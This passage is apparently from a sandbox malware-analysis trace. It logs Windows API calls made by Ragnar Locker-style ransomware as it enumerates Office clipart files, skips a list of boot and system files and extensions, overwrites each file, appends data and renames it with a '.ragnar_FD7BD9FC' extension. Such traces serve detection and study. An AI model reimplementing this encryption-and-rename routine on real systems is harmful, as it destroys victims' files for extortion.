Office\\CLIPART\\PUB60COR\\NA02390_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.ragnar_FD7BD9FC" [0089.143] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.144] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1 [0089.144] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.144] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02398_.WMF" | out: lpString1="NA02398_.WMF") returned="NA02398_.WMF" [0089.144] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF") returned=".WMF" [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="autorun.inf") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="boot.ini") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="bootfont.bin") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="bootsect.bak") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="bootmgr") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="bootmgr.efi") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="desktop.ini") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="iconcache.db") returned 1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="ntldr") returned -1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="ntuser.dat") returned -1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="ntuser.ini") returned -1 [0089.144] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="thumbs.db") returned -1 [0089.144] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.144] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.144] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.144] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.144] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.144] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.144] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf")) returned 0x20 [0089.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.145] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7832) returned 1 [0089.145] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.145] GetProcessHeap () returned 0x580000 [0089.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.145] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.146] VirtualAlloc (lpAddress=0x0, dwSize=0x1e98, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.147] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e98, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e98, lpOverlapped=0x0) returned 1 [0089.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.148] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e98, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.148] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e98, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e98, lpOverlapped=0x0) returned 1 [0089.148] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.148] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.148] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.148] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.148] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.148] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.148] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.148] GetProcessHeap () returned 0x580000 [0089.148] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.149] CloseHandle (hObject=0xf4) returned 1 [0089.149] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" [0089.149] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.ragnar_FD7BD9FC" [0089.149] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1 [0089.152] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.152] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02400_.WMF" | out: lpString1="NA02400_.WMF") returned="NA02400_.WMF" [0089.152] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF") returned=".WMF" [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="autorun.inf") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="boot.ini") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="bootfont.bin") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="bootsect.bak") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="bootmgr") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="bootmgr.efi") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="desktop.ini") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="iconcache.db") returned 1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="ntldr") returned -1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="ntuser.dat") returned -1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="ntuser.ini") returned -1 [0089.152] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="thumbs.db") returned -1 [0089.152] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.152] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.152] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.152] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.152] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.152] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.153] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf")) returned 0x20 [0089.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.154] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3364) returned 1 [0089.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.154] GetProcessHeap () returned 0x580000 [0089.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.154] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.156] VirtualAlloc (lpAddress=0x0, dwSize=0xd24, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.156] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd24, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd24, lpOverlapped=0x0) returned 1 [0089.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.156] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd24, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.156] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd24, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd24, lpOverlapped=0x0) returned 1 [0089.157] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.157] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.157] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.157] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.157] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.157] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.157] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.157] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.157] GetProcessHeap () returned 0x580000 [0089.157] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.157] CloseHandle (hObject=0xf4) returned 1 [0089.157] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" [0089.157] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.ragnar_FD7BD9FC" [0089.157] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1 [0089.158] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.158] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02404_.WMF" | out: lpString1="NA02404_.WMF") returned="NA02404_.WMF" [0089.158] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF") returned=".WMF" [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="autorun.inf") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="boot.ini") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="bootfont.bin") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="bootsect.bak") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="bootmgr") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="bootmgr.efi") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="desktop.ini") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="iconcache.db") returned 1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="ntldr") returned -1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="ntuser.dat") returned -1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="ntuser.ini") returned -1 [0089.158] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="thumbs.db") returned -1 [0089.159] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.159] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.159] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.159] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.159] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.159] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.159] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf")) returned 0x20 [0089.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.160] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8480) returned 1 [0089.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2117, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.160] GetProcessHeap () returned 0x580000 [0089.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.160] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2120, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.162] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2120, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2120, lpOverlapped=0x0) returned 1 [0089.163] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.163] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2120, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.163] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2120, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2120, lpOverlapped=0x0) returned 1 [0089.163] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2120, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.163] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.163] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.163] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.163] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.163] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.163] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.164] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.164] GetProcessHeap () returned 0x580000 [0089.164] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.164] CloseHandle (hObject=0xf4) returned 1 [0089.164] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" [0089.164] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.ragnar_FD7BD9FC" [0089.164] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, 